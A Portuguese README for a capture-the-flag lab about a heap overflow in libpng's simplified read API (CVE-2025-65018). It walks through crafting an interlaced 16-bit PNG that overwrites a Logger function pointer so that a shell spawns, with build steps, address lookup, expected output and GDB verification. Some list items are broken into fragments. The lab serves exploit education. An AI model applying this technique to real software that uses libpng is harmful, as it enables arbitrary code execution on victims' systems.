
Desafio CTF explorando um buffer overflow na heap do mundo real em libpng (CVE-2025-65018) com um PNG entrelaçado malicioso para sobrescrever um ponteiro de função e obter um shell.
Este desafio é baseado em uma vulnerabilidade real de estouro de buffer no libpng (especificamente lidando com a API simplificada png_image_finish_read ao processar imagens entrelaçadas de 16 bits).
Você recebe um binário vulnerável victim que usa uma versão estaticamente ligada e vulnerável do libpng. O aplicativo lê um arquivo PNG chamado exploit.png em um buffer. Seu objetivo é criar um arquivo PNG malicioso que desencadeie um estouro de heap para sobrescrever um ponteiro de função na estrutura Logger (localizada imediatamente após o buffer da imagem), redirecionando a execução para a função win() para abrir um shell.
Pré-requisitos: gcc, make, python3, git, autoconf, automake, libtool.
Clone o repositório:
git clone --recursive https://github.com/bohemian-miser/CVE-2025-65018_Exploit_Challenge.git
cd CVE-2025-65018_Exploit_Challenge
Compile o desafio (incluindo libpng vulnerável):
./build.sh
Este script irá:
libpng incluído para ativar a vulnerabilidade.libpng.victim.A vulnerabilidade existe na forma como o libpng lida com imagens entrelaçadas ao converter da entrada de 16 bits para saída de 8 bits.
PNG_FORMAT_RGBA). O libpng aloca um tamanho de buffer suficiente para dados de 8 bits.png_combine_row escreve incorretamente os dados usando a profundidade de bits de 16 bits da entrada no buffer de saída.O binário contém uma função auxiliar win() que chama execl("/bin/sh", ...). Precisamos do seu endereço. Como o binário é compilado com -no-pie, os endereços são estáticos.
nm victim | grep win
# Output: 00000000004013e0 T win
Endereço Alvo: 0x4013e0
solve.py)Precisamos criar um PNG válido que:
IHDR) especificando profundidade de 16 bits.win).O script solve.py faz isso:
Logger (que está 4096 bytes após o início do buffer).win nos dados de pixel da última linha.IDAT.Layout do Payload:
O endereço de win 0x4013e0 (Little Endian: E0 13 40 00 ...) precisa ser codificado em pixels RGB de 16 bits.
Gere o PNG malicioso:
python3 solve.py 4013e0
Isso cria exploit.png.
Execute o victim:
./victim
Saída Esperada:
[*] Win function is at: 0x4013e0
[*] Buffer at: 0x7ffd51353530
[*] Logger at: 0x7ffd51354530
[*] Offset from buffer start to logger: 4096 bytes
[*] Processing image...
[+] png_image_finish_read success
[*] Calling logger...
[*] Hacked! Spawning shell...
$
Para ver o estouro em ação, você pode usar o GDB.
1. Coloque um ponto de parada antes da chamada vulnerável:
break 62
run
2. Monitore a sobrescrita:
A struct Logger está no deslocamento 4096. Vamos monitorar o ponteiro de função alvo.
print &ctx.logger.log_func
# $1 = (void (**)(const char *)) 0x7fffffffc8f0
watch *0x7fffffffc8f0
continue
3. Acione:
O GDB irá parar quando png_combine_row escrever no ponteiro de função.
Hardware watchpoint 2: *0x7fffffffc8f0
Old value = 4199366 (0x4013c6 <normal_log>)
New value = 4199392 (0x4013e0 <win>)
0x00007ffff7e024d9 in __memcpy_avx_unaligned_erms ()
Isso confirma que o libpng sobrescreveu nosso ponteiro com o endereço de win!
victim.c: Código-fonte vulnerável.solve.py: Gerador de exploit.libpng-src/: Código-fonte do libpng (v1.6.37).build.sh: Script para compilar tudo.Makefile: Sistema de compilação para o binário victim.